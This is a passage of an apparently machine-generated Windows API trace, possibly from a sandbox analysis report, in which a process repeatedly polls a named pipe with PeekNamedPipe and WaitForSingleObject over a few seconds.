out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0124.939] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0124.959] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0124.966] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0125.214] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0125.214] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0125.322] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0125.322] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0125.351] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0125.354] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0125.391] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0125.391] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0125.414] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0125.414] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0125.790] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0125.791] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0126.404] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0126.404] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0126.432] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0126.432] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0126.458] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0126.458] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0126.488] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0126.488] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0126.523] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0126.523] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0126.550] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0126.550] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0126.582] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0126.582] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0126.620] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0126.620] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0126.644] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0126.644] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0126.675] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0126.675] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0126.713] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0126.713] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0126.737] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0126.738] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0126.769] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0126.769] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0126.800] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0126.800] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0126.831] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0126.831] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0126.863] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0126.863] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0126.894] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0126.894] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0126.925] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0126.925] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0126.963] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0126.963] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0126.987] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0126.987] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0127.018] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0127.019] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0127.050] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0127.050] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0127.091] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0127.091] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0127.112] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0127.112] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0127.143] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0127.143] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0127.175] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0127.175] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0127.205] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0127.205] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0127.237] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0127.237] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0127.268] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0127.268] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0127.299] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0127.300] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0127.332] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0127.332] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0127.361] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0127.361] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0127.392] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0127.393] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0127.424] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0127.424] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0127.455] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0127.455] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0127.486] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0127.486] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0127.521] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0127.521] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0127.549] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0127.549] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0127.580] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0127.580] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0127.615] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0127.615] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0127.642] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0127.642] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0127.673] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0127.673] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0127.704] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0127.705] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0127.736] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0127.736] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0127.767] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0127.767] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0127.798] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0127.798] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0127.829] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0127.829] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0127.861] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0127.861] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0127.893] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0127.894] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0127.923] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0127.923] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0127.954] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0127.954] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0127.986] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0127.986] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0128.016] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0128.017] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0128.048] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0128.048] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0128.079] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0128.079] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0128.110] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0128.110] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0128.141] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0128.141] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0128.172] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0128.173] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0128.204] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0128.204] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0128.470] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0128.470] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0128.748] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, 